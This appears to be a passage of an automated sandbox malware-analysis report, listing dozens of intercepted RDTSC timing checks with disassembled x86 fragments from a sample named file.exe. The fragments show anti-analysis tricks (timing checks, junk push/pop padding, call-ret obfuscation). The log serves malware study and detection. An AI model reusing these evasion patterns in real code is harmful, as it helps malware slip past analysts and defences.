Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552764 second address: 552774 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552774 second address: 552784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F764878255Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552784 second address: 552789 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55284F second address: 552855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552855 second address: 55285A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55303A second address: 55303E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55303E second address: 553064 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7648CE84E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F7648CE84F9h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553064 second address: 553079 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F764878255Ch 0x0000000f ja 00007F7648782556h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553350 second address: 553370 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F7648CE84E6h 0x00000009 jc 00007F7648CE84E6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F7648CE84EBh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553464 second address: 5534AB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F7648782558h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 or dword ptr [ebp+1247F53Bh], esi 0x0000002a xchg eax, ebx 0x0000002b jmp 00007F764878255Ch 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5534AB second address: 5534B5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7648CE84E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5062A4 second address: 5062B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F764878255Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5062B8 second address: 5062CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7648CE84F0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555A41 second address: 555A5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 nop 0x00000006 push 00000000h 0x00000008 mov si, FA08h 0x0000000c push 00000000h 0x0000000e sub si, 5D4Fh 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 je 00007F7648782556h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555A5F second address: 555A69 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7648CE84E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556B40 second address: 556B44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556B44 second address: 556B4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 557F9E second address: 558032 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F764878255Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F7648782558h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007F7648782558h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 movzx esi, ax 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push edi 0x0000004a call 00007F7648782558h 0x0000004f pop edi 0x00000050 mov dword ptr [esp+04h], edi 0x00000054 add dword ptr [esp+04h], 00000017h 0x0000005c inc edi 0x0000005d push edi 0x0000005e ret 0x0000005f pop edi 0x00000060 ret 0x00000061 mov esi, dword ptr [ebp+122D1C9Eh] 0x00000067 mov esi, 1CF5FA51h 0x0000006c push eax 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F7648782560h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558032 second address: 558037 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A088 second address: 55A11A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jne 00007F7648782556h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F7648782566h 0x00000013 jno 00007F7648782558h 0x00000019 popad 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F7648782558h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 0000001Ch 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 mov edi, eax 0x00000037 mov esi, 2FEBA60Eh 0x0000003c push 00000000h 0x0000003e add esi, dword ptr [ebp+122D2D20h] 0x00000044 mov edi, 3429FE36h 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push eax 0x0000004e call 00007F7648782558h 0x00000053 pop eax 0x00000054 mov dword ptr [esp+04h], eax 0x00000058 add dword ptr [esp+04h], 00000015h 0x00000060 inc eax 0x00000061 push eax 0x00000062 ret 0x00000063 pop eax 0x00000064 ret 0x00000065 mov esi, edi 0x00000067 xchg eax, ebx 0x00000068 jng 00007F7648782568h 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 559E96 second address: 559E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A11A second address: 55A11E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55A11E second address: 55A122 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55CC3B second address: 55CC3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D272 second address: 55D276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D276 second address: 55D27C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D27C second address: 55D282 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D282 second address: 55D295 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F7648782556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D478 second address: 55D47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561016 second address: 56102D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7648782558h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F7648782558h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56102D second address: 561033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D47D second address: 55D482 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55F37A second address: 55F37E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561033 second address: 56107E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 sbb bx, 720Bh 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push ecx 0x00000015 call 00007F7648782558h 0x0000001a pop ecx 0x0000001b mov dword ptr [esp+04h], ecx 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc ecx 0x00000028 push ecx 0x00000029 ret 0x0000002a pop ecx 0x0000002b ret 0x0000002c mov ebx, dword ptr [ebp+122D313Bh] 0x00000032 xchg eax, esi 0x00000033 pushad 0x00000034 pushad 0x00000035 jg 00007F7648782556h 0x0000003b pushad 0x0000003c popad 0x0000003d popad 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56107E second address: 561082 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561082 second address: 5610A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F764878255Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F764878255Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5622E9 second address: 5622EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5622EF second address: 5622FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F7648782556h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 563332 second address: 563336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 564353 second address: 5643D0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F7648782558h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F7648782558h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 xor bl, 00000018h 0x0000002a sub edi, dword ptr [ebp+122D2C14h] 0x00000030 push 00000000h 0x00000032 xor dword ptr [ebp+122D35A2h], eax 0x00000038 add ebx, dword ptr [ebp+122D2E4Ch] 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push ebp 0x00000043 call 00007F7648782558h 0x00000048 pop ebp 0x00000049 mov dword ptr [esp+04h], ebp 0x0000004d add dword ptr [esp+04h], 00000016h 0x00000055 inc ebp 0x00000056 push ebp 0x00000057 ret 0x00000058 pop ebp 0x00000059 ret 0x0000005a xchg eax, esi 0x0000005b jmp 00007F764878255Eh 0x00000060 push eax 0x00000061 push ecx 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5643D0 second address: 5643D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5643D4 second address: 5643D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565466 second address: 565470 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7648CE84E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565470 second address: 565476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565476 second address: 56547A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5664B7 second address: 56652B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push edi 0x0000000d pop edi 0x0000000e popad 0x0000000f jng 00007F764878255Ch 0x00000015 jl 00007F7648782556h 0x0000001b popad 0x0000001c nop 0x0000001d movzx ebx, dx 0x00000020 push 00000000h 0x00000022 jp 00007F7648782567h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007F7648782558h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 00000019h 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 mov ebx, dword ptr [ebp+122D1DDDh] 0x0000004a xchg eax, esi 0x0000004b jmp 00007F764878255Ah 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56652B second address: 566531 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 566531 second address: 566536 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569445 second address: 569460 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F7648CE84EEh 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 569460 second address: 569464 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56A4FD second address: 56A50C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7648CE84EBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 566648 second address: 56664D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5684D8 second address: 5684DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56664D second address: 56666B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7648782563h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565617 second address: 565647 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7648CE84F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7648CE84F2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5684DC second address: 5684E2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565647 second address: 56564B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5684E2 second address: 5684FE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7648782558h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F764878255Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56564B second address: 565651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5684FE second address: 568508 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7648782556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 565651 second address: 565657 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B4C6 second address: 56B4CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B4CD second address: 56B4D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5656DB second address: 5656E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B4D2 second address: 56B4D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5656E1 second address: 5656E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56B4D8 second address: 56B4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C5FD second address: 56C601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C601 second address: 56C607 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C7DF second address: 56C7E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F7648782556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C7E9 second address: 56C80F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007F7648CE84F9h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56C80F second address: 56C81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F7648782556h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5751E3 second address: 5751E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5751E9 second address: 575200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F7648782556h 0x0000000c popad 0x0000000d jbe 00007F764878255Eh 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575200 second address: 575204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574A98 second address: 574AA4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7648782556h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 574AA4 second address: 574AAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F7648CE84E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57B32F second address: 57B33F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 js 00007F7648782566h 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580B1F second address: 580B32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7648CE84EBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580176 second address: 58017A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58017A second address: 580188 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7648CE84E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580188 second address: 58019D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7648782561h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5804CF second address: 5804D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5804D3 second address: 5804D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5804D7 second address: 5804DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58065B second address: 58065F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580957 second address: 58095B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58095B second address: 580976 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F7648782566h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580976 second address: 580983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F7648CE84E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50977A second address: 509789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7648782556h 0x0000000a popad 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5893FA second address: 589400 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
